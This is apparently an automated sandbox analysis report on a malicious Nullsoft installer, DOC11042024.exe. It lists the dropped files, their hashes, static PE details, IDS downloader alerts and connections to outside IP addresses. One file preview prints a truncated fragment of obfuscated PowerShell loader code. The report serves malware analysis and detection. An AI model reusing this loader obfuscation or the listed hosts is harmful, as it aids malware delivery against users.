C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwsqjtnc.2zq.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdkk1w0d.huo.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nseE75F.tmp

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	data
Category:	dropped
Size (bytes):	964090
Entropy (8bit):	4.764322952518005
Encrypted:	false
SSDEEP:	6144:68XTkg5Sb127W/6CBY7g+uwGoPkCfUQtUvr38uJVOAiKY83PqZaPL26LZGSaCjwT:SgsJ/z28+u5HC8jr3v+aDi6lJAYgvL/N
MD5:	05C2A48278C52703FFA604232A84CC38
SHA1:	026C93046B1827D117F5E986F75839BEBC407F9A
SHA-256:	2EFD0227F895EAC9347AC5F9CC58B3835BEE439C2DED4C91EFB73A9E84C255F5
SHA-512:	654F6966F9853931ED4B89CF1E0FC98039FF46960B9F942E617435592E18067D0B4EAFC0EC38348563DA7DA0105BBB7C56731038371A1E81BF8AA7F920B3CC29
Malicious:	false
Preview:	bz......,...............$*.......I......Ly.......z..............................................k...................................M.......................................................................................................................................................G...p...............j...............................................................................................................................b.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\bestialitet.ini

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	3.836047762460485
Encrypted:	false
SSDEEP:	3:CIK5gN0leKbQA5:LKRe7A5
MD5:	1CF88EB768688A65B89C8422C4983163
SHA1:	CEC4C169379A3E69CC44E8711753B5359D2CC130
SHA-256:	2BF3BC0DA143B165F824BC0A42BEC0903191F04CB6EDD5DF92C441D034717957
SHA-512:	3F34A000D3001749B58EF64D1C9FABBFCF43B7019FC588D9E123B0A324560D74AF5097F37C98C2CF315CB15C3E4CE47FB79CF4B8AF5AC45AD2BFB0849AC069C2
Malicious:	false
Preview:	[stomodaeums]..untransientness=Konditionerne..

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Cemented.spa

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	data
Category:	dropped
Size (bytes):	49665
Entropy (8bit):	2.307083160235672
Encrypted:	false
SSDEEP:	768:zwmvIL4MR38y/hyuUS7CGDpwwqWtHVJCtHnKxzYbv:zvMRbEZGXOKG
MD5:	3AFC04CC9C861BC8BC32CD1F35AC5B8A
SHA1:	7E3BB9EB009650D5580374F3371CCAB0DC332CC5
SHA-256:	FFA9F7F9E9E9F3F6F52A318FBB1D7AC10A62A144E0A0EA9029681B3D2BC8AC2C
SHA-512:	086E7DD4D610AAE4B3042F90FCE3E16EFF7A6FA09FD7A161803BC536824B21D90AD160F8E861456C047838FC50CB81AA505B3671559E61D10817BFD7C6CCD758
Malicious:	false
Preview:	.........f....._.............;................................................................b...................`.p$.................................=.......<...(..............(..............k...X..................T........................s..(.........N.......X.............................`..............n................O......... ............Y..................................C.................F.............)R.....m...........F........<.%.......h.................3&...................................P.......i...............ZP....U.................6............l.....H.U.R.....................................T...........................Y...R...b.........oI.........................................s..M...................R..\..L.........+.......................................b.......................c..........................v.......].........a...0.......7..............Q........................................Y.X...a.............?......................0C........g............5..........

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Compared.afv

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	data
Category:	dropped
Size (bytes):	314290
Entropy (8bit):	2.3014083432260093
Encrypted:	false
SSDEEP:	1536:9nNjZMWsSaCpU9leJUsnVA71damwoZBV3TyKX50hVOBNopWlukDGzUnsTEaNjrDF:9NjZGSaCpbFzmBpyGmWlu0sQskXH/sRz
MD5:	0A673A90442585CF2385C436AA535E6F
SHA1:	211C84078F9E42B7A0196D942F70F306C786C286
SHA-256:	31D1875B0180F5E0818102C734A69F61FB818D754077644C6E9A3B740C9592B1
SHA-512:	F571D9EB8BCCBC3CA2385F8B11E868DEBEF0A10E671219F62CB2A95558609CEDF552E76E618964F17204D745BEC49529B9D0F30FB6A6150D2C9AB5552E6D706F
Malicious:	false
Preview:	?.....l................e.;.......<..(...............................@.......U../..........................................................7....,.H.....\....................;.....<.#.............0...............................R.............K.............a.........................%....F.....p.............I............3....So..f.......n............q.fD.......(................]...4............&.......................{.......................=....7.......>.......................................T..............................................&.........O....................................l....G..............................................................................................L..............................D....m..._............................(..k...w..................................$....................Uh.......$.!....A......x..........m.................T....F.........Y........=....J.....}..........U...c.'...C.......4..........................z........................#........

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\DOC11042024.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	677344
Entropy (8bit):	7.701041803336108
Encrypted:	false
SSDEEP:	12288:2XJ/BQ9wbOEvCJhy5aFj0MbS9ytLF9vVSaQ5X5X8LfH8+C7uPgITpm:8/rOuCJMyJu9ytBfaM8aPgITpm
MD5:	2119B4C15A036B7E407A7483A89ECDBF
SHA1:	37C3C28BBA3F2482E92B3B0EF570C2BA6F3167A8
SHA-256:	66C79A5E56A0B28126534DED1E9DD50E2DE460FB671C49E7CF7A365568C7067B
SHA-512:	0DC2FBEC1EED5CDE2BF221C4B95A8CF232FCC922FF8B791CEF8B4E816F7BCCB1EE3C7B4510FC7AA78A74052DBD5694E1CE3ED55765BA8D1358529B9371829C0B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L......Q.................`..........3.......p....@..........................P...............................................t...........q...........L...............................................................p...............................text... ^.......`.................. ..`.rdata..T....p.......d..............@..@.data................x..............@....ndata...0...............................rsrc....q.......r...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\DOC11042024.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	ASCII text, with very long lines (4199), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	73172
Entropy (8bit):	5.200798981640251
Encrypted:	false
SSDEEP:	1536:k4JKvd5jvoXs5AVOuLKr6LZ6hA08L083/Nkc4DYqT6+aPzHita:k4YHjv2JVOAKrxKz083/NCEqT6+aPzH3
MD5:	8D96A572DD88752B194CA8CF3F1C042B
SHA1:	DA71E31E2313456E2B29757609AF4C895BD8A4CF
SHA-256:	71100EDC195FBAEEB22FC562D5E99A1C36CAD69D8BBE3D446B44B041A8BB9208
SHA-512:	8648847897D3895233D5C8C71FE911D2529917C6E3E817AAE589726B0979EC7F397C597CD8548C0F2996A70F012786FB7936B78DF70327913C3C82BE9C7D5FF2
Malicious:	true
Preview:	$Vandbreres=$ravnemrkencestries;..<#Unhumanise Titalssystemets Rigsrevisionen Slaker Renegade Familiesammenfring #>..<#Davide Unconstrainedness Sygesikringsbevisets metaling Intercolumnation Kredittimer Deemer #>..<#Linjeredigeringen Posrer rentee #>..<#Scheelite Citifies Unturgid Aotes #>..<#Gteskabstilbud Skyggelgningerne Systole Morpholoical Velrt Trachled #>..<#Dekanter Cervus Licenced #>...$biografteatres = @'. Piscic. Be ali$ gradeyLStarbaauUndereamSlido.eb N nvire BetvanrInamovaeAnafortr Slump,=Dommeda$Revolutrr bblelaCockardvSkidwaynTheatrieTapnetkmOverdrar Ludicrk WilleteSvo.lhalatramenk UnpartaDom.ticl UndigeiSektiongEllesteeThac ednSindsbe;,aveeje. VespbrfLdermapuguanabanOviformcResurfat RecommiUdstopgoIndsbnin Dds am H atstrJ Outfl oWauc twlJudais l RiegliiCoccothfBaryl by Sk,lee afp ikk(Veltilp$GaslighrUnfina at pdresvSvanhopnAmmeundeSalmonem TillgsrPregu rk semipre Be tod, Klo kk$BoffolaWTrommesiSbenstirFuraldee ephlegwOvermoiounsteelrnonsenskPo rerfi SkrmennUna,progdisc.

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Unsleeved.Unb

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	data
Category:	dropped
Size (bytes):	291130
Entropy (8bit):	7.683492297887796
Encrypted:	false
SSDEEP:	6144:rTkg5Sb127W/6CBY7g+uwGoPkCfUQtUvr3D:cgsJ/z28+u5HC8jr3D
MD5:	106631F3FE8B1466CF81F6034D7D5B01
SHA1:	EFBF5BD218889AA0ECDCB1D99285F68F04DA0DAE
SHA-256:	6BAC90C8E5B6BA1851F4E18C1FD305B1826B7A726D2E00D2D2ECB9D68E0070E0
SHA-512:	38A7AE0B34E536BCE3F00D988B03F04A3B06FD823B418FABED8A75E84E6DB24D7EDA712BCA31AF25E4B73C63E030CCE6A57111C871B72D0621378B8E55EF5ADF
Malicious:	false
Preview:	..}}..........S....///.................m.......n..................FF....fff...aaa...{...r..33............../.............y..........................................................4......xxx...S.................W...333.............:...........??......8............KKK........HHH........".........a......?.ZZZZ.........e.......ii............................5..333.#..mmmm......Z...............D.'.vv...qqq..........................PPPP.\|......................H..........77...k............??.y.....[.....PPP.......g.O...w....ZZZ..................ttttt...........O........y......dd........................QQQ.........................................................RRR........................................ee............^...EEEEE.................VVVVVV.0...Y..........a..LL................PP.yyy........Y.......ii.f.................................vvv...........j.++.f.............NNNN.........................j......oo....N...11....w.**.........4.......................9.QQ..d........................

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\forsvarspolitiske.txt

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	555
Entropy (8bit):	4.296685115633425
Encrypted:	false
SSDEEP:	12:ipTcM6gXrr+RfAo1YO9d0/0JaUEYi4gxMupNF6+y3Jv6quABQ7v2y:ilAuOfAjOUcJa/AdE6+mv6PABQ7vX
MD5:	05A5C3B4A770ACA6FC2F47CC40847FA5
SHA1:	59E660F036F9CC982F01179F13348B498B9E924B
SHA-256:	B12CD7400A5A2EE6E9BEF2994FD82B1650DD98C7238028E22B082C5D6AB87288
SHA-512:	3F4A3D7D098EF0E8257C78EA00E2F51D1F6FD37AD73EF31D460D3B5B07E2688E40D1921A0DBBD5B9B10D1AF6D80B823D1EA615F13A8288B5957899CAE75D5396
Malicious:	false
Preview:	leon uncereclothed kancellilaud fortrolighedernes feminists ozone mandslingernes antitragicus..udrugningens dramshop sanctions moochulka inhumanity bdelloura pernittengrynens mahmouds forsvarsvrks whilie sangsvanes undertrykkelsen portifory..uncombustible smugryg counterpaled,preprocessorerne tragtningen nonnecessity,weakhearted printertilslutning masturbationers formbling overrigorousness forfriskende expandor.alumnae aber unamplified gullyhole nabbers forlystende hviskene ndk forundringers kulturkredsenes geognostical allemontite tilstraekkelige..

C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\omers.cli

Process:	C:\Users\user\Desktop\DOC11042024.exe
File Type:	data
Category:	dropped
Size (bytes):	203920
Entropy (8bit):	2.2879778729381077
Encrypted:	false
SSDEEP:	1536:+xN56/s/mfDvxSumcvrZLyhKjXAvtXUcmXEWsCn/N:+LM/s/odTvrZWwcGn/N
MD5:	2AEF25928E999FB8C6A2C1E850974F3E
SHA1:	1CE656A158733656455170146DA1660926E4A4A9
SHA-256:	936985B28A39966CD962AD8CD7DEDC0146DA1A2F19895C7F0DF638922282A3CD
SHA-512:	6A4AC11D6E3F97B2F1CCA65BE2DF6E5C5FAF97C92E31EBC6FD6FAF589D40A75E384FCFE7DBB0FAC2EA11BF950B9C0A8A956F587B1B61D4EC80EED2D33D35FE70
Malicious:	false
Preview:	.U...........8.................iZ.....>...................."................[.............................................!..................s......k............z......+..............\.'........}.......................E..................5.....@.......................=....................].....................d....................G.............t.....B.................................u..q.................f................n.r............................#......t..............................................q....;........C...........>...........<...........................J.......!...>.........................N......b.....................R....=.....X..................K..........................Z..........c..................................................................i.......28...=.$j......%.......................i......................../.................L...d.E...........................................HV......L.........d.....c...........................q...........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.701041803336108
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DOC11042024.exe
File size:	677'344 bytes
MD5:	2119b4c15a036b7e407a7483a89ecdbf
SHA1:	37c3c28bba3f2482e92b3b0ef570c2ba6f3167a8
SHA256:	66c79a5e56a0b28126534ded1e9dd50e2de460fb671c49e7cf7a365568c7067b
SHA512:	0dc2fbec1eed5cde2bf221c4b95a8cf232fcc922ff8b791cef8b4e816f7bccb1ee3c7b4510fc7aa78a74052dbd5694e1ce3ed55765ba8d1358529b9371829c0b
SSDEEP:	12288:2XJ/BQ9wbOEvCJhy5aFj0MbS9ytLF9vVSaQ5X5X8LfH8+C7uPgITpm:8/rOuCJMyJu9ytBfaM8aPgITpm
TLSH:	53E40252A45450DBED7A57B16C3B4C5816A32E7EEDF0A40E669AB63113B33E3005BE0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L......Q.................`..........3.......p....@

File Icon


Icon Hash:	4f19194767674101

Static PE Info

General

Entrypoint:	0x40331c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x51E3058B [Sun Jul 14 20:09:47 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	17b7d61bda0f7478e36d9ce3d4170680

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=fosterstilling, O=fosterstilling, L=Jackson, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	23/02/2024 05:00:37 22/02/2027 05:00:37
Subject Chain	CN=fosterstilling, O=fosterstilling, L=Jackson, C=US
Version:	3
Thumbprint MD5:	F01335F1BBCDDA054CFC73801B801AC7
Thumbprint SHA-1:	20489A372C20054E55FCD8D377FB5209E1B97F81
Thumbprint SHA-256:	79CCAB53CAE0477AF1C90C8B1B7BE5CC3A75B0A30AD5E35682FF4D51A262FD7E
Serial:	08E03876D97903A4BA903A213932262ED8F9D0D3

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007F3FDCE0EC42h
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007F3FDCE0E8ADh
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007F3FDCE0E89Bh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007F3FDCE0BD9Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F3FDCE0E309h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F3FDCE0BE5Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F3FDCE0BD99h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F3FDCE0BD8Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6d000	0x271f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xa4cc8	0x918
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e20	0x6000	dd493ae9ebfb948f2a612edd72200a78	False	0.6545003255208334	data	6.407301589030798	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	8a134e15423272c853e24b49bfc8707f	False	0.43046875	data	5.037834422880877	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	baf389fb3ef48369d3c1f90021fcff8b	False	0.4733072916666667	data	3.7606720362000137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x43000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6d000	0x271f8	0x27200	1d37c42d5ee68a600bda4509cd11f047	False	0.49120781749201275	data	5.995617174533498	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x6d2f8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 5905 x 5905 px/m	English	United States	0.19167751094286054
RT_ICON	0x7db20	0xe059	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9314853829679801
RT_ICON	0x8bb80	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 5905 x 5905 px/m	English	United States	0.269189891355692
RT_ICON	0x8fda8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5905 x 5905 px/m	English	United States	0.29688796680497925
RT_ICON	0x92350	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5905 x 5905 px/m	English	United States	0.3599906191369606
RT_ICON	0x933f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5905 x 5905 px/m	English	United States	0.5186170212765957
RT_DIALOG	0x93860	0x100	data	English	United States	0.5234375
RT_DIALOG	0x93960	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x93a80	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x93b48	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x93ba8	0x5a	data	English	United States	0.7666666666666667
RT_VERSION	0x93c08	0x2e4	data	English	United States	0.4418918918918919
RT_MANIFEST	0x93ef0	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, MultiByteToWideChar, FindClose, MulDiv, ReadFile, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T07:13:21.664986+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.5	49704	TCP
2024-11-04T07:13:37.121948+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49787	141.98.10.40	80	TCP
2024-11-04T07:13:40.417427+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49804	193.122.6.168	80	TCP
2024-11-04T07:13:41.823378+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49804	193.122.6.168	80	TCP
2024-11-04T07:13:42.525588+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49819	188.114.96.3	443	TCP
2024-11-04T07:13:43.417133+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49825	193.122.6.168	80	TCP
2024-11-04T07:13:44.137122+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49829	188.114.96.3	443	TCP
2024-11-04T07:13:49.154916+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49864	188.114.96.3	443	TCP
2024-11-04T07:13:52.375517+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49887	188.114.96.3	443	TCP
2024-11-04T07:14:01.197295+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.5	49932	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 07:13:36.242943048 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:36.248636007 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:36.248702049 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:36.248771906 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:36.254301071 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121876001 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121886969 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121911049 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121918917 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121948004 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.121973038 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.121979952 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.122018099 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.122049093 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.122057915 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.122066975 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.122076988 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.122086048 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.122097015 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.122107983 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.122128010 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:37.128184080 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.128195047 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:37.128205061 CET	80	49787	141.98.10.40	192.168.2.5
